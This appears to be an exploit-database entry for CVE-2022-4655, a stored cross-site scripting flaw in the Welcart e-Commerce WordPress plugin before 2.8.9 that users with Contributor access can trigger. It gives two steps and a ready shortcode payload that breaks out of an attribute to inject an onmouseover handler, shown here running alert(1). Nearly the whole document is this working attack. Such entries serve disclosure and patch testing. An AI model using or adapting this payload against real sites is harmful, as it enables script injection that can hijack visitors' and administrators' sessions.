Exploit for Welcart e-Commerce < 2.8.9 - Contributor+ Stored XSS via Shortcode CVE-2022-4655

## https://sploitus.com/exploit?id=WPEX-ID:A1C70C80-E952-4CC7-ACA0-C2DDE3FA08A9
1. Add a product item to the plugin. The item name, for example, "first". You will also use this in the shortcode.


2. Exploit shortcode:

[button_to_cart item='first' value='SUBMIT" onmouseover="alert(1)" style="border:5px solid red;"']